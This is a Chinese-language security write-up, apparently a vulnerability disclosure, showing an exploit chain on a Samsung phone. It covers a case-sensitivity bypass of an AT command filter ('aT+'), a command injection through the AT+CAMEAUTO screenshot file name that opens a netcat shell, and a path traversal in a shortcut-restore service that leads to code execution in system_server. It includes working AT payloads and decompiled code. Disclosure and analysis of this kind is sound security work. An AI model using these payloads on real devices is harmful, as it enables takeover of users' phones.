在解锁设备中切换连接模式后，应用处理器(AP)命令由 at_distributor 管理。
AT+SWATD=0
AT+ACTIVATE=0,0,0
AT+SWATD=1
at_distributor 通过函数 pacm_check_at_cmds 验证AT命令
void main(int32_t arg1, void* arg2) __noreturn
{
int32_t var_21b0 = arg1;
data_42c170 = SignalHandler;
sigemptyset(0x42c178);
...
if (pacm_check_at_cmds(&data_42c1b4, &var_2160, &data_404a82, v0_11) != 1) {
SendToTerminal(&var_2160,
__strlen_chk(&var_2160, 0x80)
} else {
__android_log_print(3, "AT_Distributor", "%s()", "HandleMessageFromUart");
...
}
...
}
函数逻辑位于
ldd at_distributor
libpacm_client.so => /system/lib64/libpacm_client.so
该函数调用 is_multiple_cmds 验证AT命令是否包含多个命令。
uint64_t pacm_check_at_cmds(int64_t arg1, char* arg2)
{
uint64_t x24 = _ReadMSR(tpidr_el0);
int64_t x8 = *(x24 + 0x28);
int32_t var_284;
...
if (!arg1)
{
__android_log_print(6, "PACMAN", "%s : AT Command is NULL\n", "pacm_check_at_cmds", v0);
x20_1 = var_284;
...
} else {
Command::set_command(&var_280);
char var_2d0;
void* var_2c0;
if (var_2d0 & 1)
operator delete(var_2c0, var_2d0 & 0xfffffffffffffffe);
int32_t x8_6;
if (!Command::is_multiple_cmds())
{
int32_t x0_13;
int128_t v0_1;
x0_13 = Command::preprocess_cmds(&var_280);
...
}
...
}
}
int64_t Command::is_multiple_cmds()
{
...
size_t x0 = strlen("
at+");
if (x0) {
...
memcmp(x0_4, "
at+", x0);
...
}
size_t x0_1 = strlen("
AT+");
if (x0_1) {
...
memcmp(x0_7, "
AT+", x0_1);
...
}
size_t x0_2 = strlen("
at+");
if (x0_2) {
...
memcmp(x0_10, "
at+", x0_2);
...
}
size_t x0_3 = strlen("
AT+");
if (x0_3) {
...
memcmp(x0_13, "
AT+", x0_3);
...
}
...
return 1;
}
因此，包含此负载的AT命令将失败。
TX: AT+\nAT+VERSNAME=3,2,1
RX: +CME Error:PACM(AP),MULTIPLE_CMD
但是 is_multiple_cmd 未能验证 "aT+" 或 "At+"，因此受保护/未注册的命令得以执行。
TX: AT+\naT+VERSNAME=1,3,0 (Note:AT+VERSNAME=1,3,0 is a protected command)
RX: +VERSNAME:1,SM8550,SM8550
FacAtFunction (uid 1000) 是一个系统应用，处理大多数AP AT命令，特别是一个未注册的命令 AT+CAMEAUTO
该命令用于通过 shell 函数/exec 捕获屏幕。
...
if (checkArgu(strArr, new String[]{"0", "1", "0", "2"})) {
FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "handleCommand", "Screen Capture & File Name : " + strArr[4]);
screenCapture(strArr[4]);
FtUtil.log_d(((AtCommandHandler) this).CLASS_NAME, "screenCapture", "result : 1");
str = responseOK(strArr[0]);
...
}
public final void screenCapture(String str) {
Process process;
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "ScreenCapture Start");
...
String str3 = i < 10 ? m + "SCREENIMAGE0" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg" : m + "SCREENIMAGE" + i + "_" + str + "_" + simpleDateFormat.format(new Date(currentTimeMillis)) + ".jpg";
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "screenCapture", str + i + " / " + str3);
?? r15 = {"/system/bin/sh", "-c", str3};
Process process2 = null;
try {
try {
FtUtil.log_i(((AtCommandHandler) this).CLASS_NAME, "ScreenCapture", "capture command");
process = Runtime.getRuntime().exec(r15);
...
...
}
文件名来自用户，但 screenCapture 函数未能对文件名进行清理。 并且由于我们可以从第一部分执行未注册命令，可以这样执行：
TX: AT\naT+CAMEAUTO=0,1,0,2,/;/system/bin/toybox netcat -s 127.0.0.1 -p 1234 -L sh -l;
RX: OK
三星已为 Smart Switch 实现了自定义恢复方法以恢复位图文件
public void restoreBitmapsFromBackupService(ParcelFileDescriptor parcelFileDescriptor, String str, String str2) {
enforceScloudBackupWritePermission();
try {
ParcelFileDescriptor.AutoCloseInputStream autoCloseInputStream = new ParcelFileDescriptor.AutoCloseInputStream(parcelFileDescriptor);
FileOutputStream openIconFileForWriteSmartSwitch = openIconFileForWriteSmartSwitch(0, str, str2);
byte[] bArr = new byte[1024];
while (true) {
int read = autoCloseInputStream.read(bArr);
if (read <= 0) {
break;
}
openIconFileForWriteSmartSwitch.write(bArr, 0, read);
}
if (openIconFileForWriteSmartSwitch != null) {
openIconFileForWriteSmartSwitch.close();
}
autoCloseInputStream.close();
} catch (Exception unused) {
}
}
public final FileOutputStream openIconFileForWriteSmartSwitch(int i, String str, String str2) {
File file = new File(getUserBitmapFilePath(i), str);
if (!file.isDirectory()) {
file.mkdirs();
if (!file.isDirectory()) {
Slog.d("ShortcutService", "Unable to create directory " + file);
throw new IOException("Unable to create directory " + file);
}
SELinux.restorecon(file);
}
File file2 = new File(file, str2);
if (file2.exists()) {
Slog.d("ShortcutService", "Unable to create file - already exists " + file2);
throw new IOException("Unable to create file - already exists " + file2);
}
return new FileOutputStream(file2);
}
public final void enforceScloudBackupWritePermission() {
injectEnforceCallingPermission("com.samsung.android.scloud.backup.lib.write", null);
}
restoreBitmapsFromBackupService 受权限 "com.samsung.android.scloud.backup.lib.write" 保护，我们将使用来自第二部分的 uid 1000，它拥有调用该函数所需的权限。
这里它未能对 str (目录) 和 str2 (文件名) 进行路径遍历清理。由于 ShortcutService 运行在 system_server 进程中，我们可以覆盖系统应用的 base.apk 或修改 packages.xml 以在 system_server 中获得代码执行。